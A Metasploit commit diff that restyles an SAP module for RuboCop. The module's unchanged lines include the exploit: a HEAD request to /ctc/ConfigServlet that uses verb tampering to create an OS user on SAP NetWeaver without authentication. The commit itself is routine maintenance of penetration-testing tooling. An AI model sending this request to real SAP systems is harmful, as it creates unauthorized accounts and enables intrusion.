modules/auxiliary/scanner/sap: Resolve RuboCop violations

Author: bcoles

modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb

@@ -34,17 +34,20 @@ def initialize
         OS user management. Information about resolution should be available at SAP notes
         1589525 and 1624450 (authentication required).
       },
-      'References' =>
-        [
-          [ 'URL', 'http://erpscan.com/advisories/dsecrg-11-041-sap-netweaver-authentication-bypass-verb-tampering/' ],
-          [ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf' ]
-        ],
-      'Author' =>
-        [
-          'Alexandr Polyakov', # Vulnerability discovery
-          'nmonkee' # Metasploit module
-        ],
-      'License' => MSF_LICENSE
+      'References' => [
+        [ 'URL', 'http://erpscan.com/advisories/dsecrg-11-041-sap-netweaver-authentication-bypass-verb-tampering/' ],
+        [ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf' ]
+      ],
+      'Author' => [
+        'Alexandr Polyakov', # Vulnerability discovery
+        'nmonkee' # Metasploit module
+      ],
+      'License' => MSF_LICENSE,
+      'Notes' => {
+        'Stability' => [CRASH_SAFE],
+        'SideEffects' => [IOC_IN_LOGS],
+        'Reliability' => []
+      }
     )
 
     register_options([
@@ -55,7 +58,7 @@ def initialize
     ])
   end
 
-  def run_host(ip)
+  def run_host(_ip)
     vprint_status("#{rhost}:#{rport} - Creating User...")
     uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=' + datastore['USERNAME'] + ',PASSWORD=' + datastore['PASSWORD']
     if send_request(uri)
@@ -110,22 +113,20 @@ def report_cred(opts)
   end
 
   def send_request(uri)
-    begin
-      res = send_request_cgi({
-        'uri' => uri,
-        'method' => 'HEAD',
-        'ctype' => 'text/xml; charset=UTF-8',
-        'cookie' => 'sap-usercontext=sap-language=EN'
-      })
-      if res and res.code == 200 and res.headers['Server'] =~ /SAP J2EE Engine/
-        return true
-      elsif res
-        vprint_error("#{rhost}:#{rport} - Unexpected Response: #{res.code} #{res.message}")
-        return false
-      end
-    rescue ::Rex::ConnectionError
-      vprint_error("#{rhost}:#{rport} - Unable to connect")
+    res = send_request_cgi({
+      'uri' => uri,
+      'method' => 'HEAD',
+      'ctype' => 'text/xml; charset=UTF-8',
+      'cookie' => 'sap-usercontext=sap-language=EN'
+    })
+    if res && (res.code == 200) && res.headers['Server'] =~ /SAP J2EE Engine/
+      return true
+    elsif res
+      vprint_error("#{rhost}:#{rport} - Unexpected Response: #{res.code} #{res.message}")
       return false
     end
+  rescue ::Rex::ConnectionError
+    vprint_error("#{rhost}:#{rport} - Unable to connect")
+    return false
   end
 end